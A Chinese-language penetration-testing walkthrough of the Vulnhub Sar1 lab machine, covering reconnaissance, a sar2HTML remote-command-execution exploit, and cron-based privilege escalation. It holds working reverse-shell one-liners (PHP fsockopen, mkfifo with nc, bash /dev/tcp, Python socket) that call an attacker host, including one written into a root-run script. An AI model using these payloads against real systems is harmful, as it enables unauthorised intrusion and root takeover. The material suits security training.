OSCP渗透靶场之Vulnhub-Sar1
字数 1223 2025-08-10 23:41:58
Vulnhub-Sar1 渗透测试实战教学文档
靶机概述
Vulnhub-Sar1 是一个基于 Vulnhub 的渗透测试靶机,主要涉及以下知识点:
- 利用计划任务进行提权
- 远程命令执行漏洞利用
- Linux 文件权限操作
- 使用 LinPEAS 进行目标脆弱性枚举
0x01 信息收集 (Reconnaissance)
1.1 初始扫描
使用 nmap 进行目标主机信息探测:
nmap -sC -sV -p- -v -A 192.168.56.101
扫描结果关键信息:
- 开放端口:80/tcp (HTTP)
- 服务版本:Apache httpd 2.4.29 (Ubuntu)
- 操作系统:Linux 4.15 - 5.6
- MAC地址:08:00:27:E7:1E:1D (Oracle VirtualBox虚拟网卡)
1.2 Web目录枚举
使用 dirbuster 进行目录扫描,发现关键文件:
http://wordy/robots.txt- robots.txt 中暴露了
/sar2HTML目录
0x02 漏洞利用
2.1 漏洞识别
在 ExploitDatabase 中搜索 "sar2HTML",发现存在远程命令执行(RCE)漏洞:
- 漏洞利用脚本:49344.py
2.2 获取反弹shell
- 执行漏洞利用脚本:
python3 49344.py
- 使用PHP反弹shell命令(需URL编码):
php -r '$sock=fsockopen("192.168.56.102",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
其中:
- 192.168.56.102:攻击者(Kali)IP
- 1234:攻击者监听端口
0x03 权限提升
3.1 目标主机文件分析
获取反弹shell后,在 /var/www/html 目录发现两个关键文件:
finally.sh:只有root用户有写权限write.sh:www-data用户有读写执行权限
finally.sh 内容分析:
#!/bin/bash
bash /var/www/html/write.sh
该脚本会在执行时调用同一目录下的 write.sh
3.2 计划任务提权
- 修改
write.sh内容:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1 | nc 192.168.56.102 443 >/tmp/f" > write.sh
其中:
- 192.168.56.102:攻击者(Kali)IP
- 443:攻击者监听端口
- 等待计划任务执行(约5分钟内):
- 系统会以root权限执行
finally.sh finally.sh调用我们修改后的write.sh- 在攻击者443端口获得root权限的反弹shell
0x04 技术要点总结
4.1 关键知识点
-
信息收集:
- nmap 全面扫描技巧
- 目录枚举与robots.txt利用
- 漏洞数据库搜索技巧
-
漏洞利用:
- 远程命令执行漏洞识别
- 反弹shell构造与编码
- 不同语言反弹shell的实现
-
权限提升:
- Linux文件权限分析
- 计划任务(cron)利用
- 通过可写脚本实现权限提升
4.2 防御建议
-
对于系统管理员:
- 定期检查计划任务配置
- 严格控制脚本文件的权限
- 及时更新存在已知漏洞的组件
-
对于开发人员:
- 避免在web应用中执行系统命令
- 对用户输入进行严格过滤
- 不要在生产环境暴露调试信息
附录:常用命令参考
-
信息收集:
nmap -sC -sV -p- -v -A <target_ip> dirb http://<target_ip> -
反弹shell:
# Bash bash -i >& /dev/tcp/<attacker_ip>/<port> 0>&1 # Python python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_ip>",<port>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' -
权限检查:
find / -perm -4000 -type f 2>/dev/null # 查找SUID文件 crontab -l # 查看当前用户计划任务 ls -la /etc/cron* # 查看系统计划任务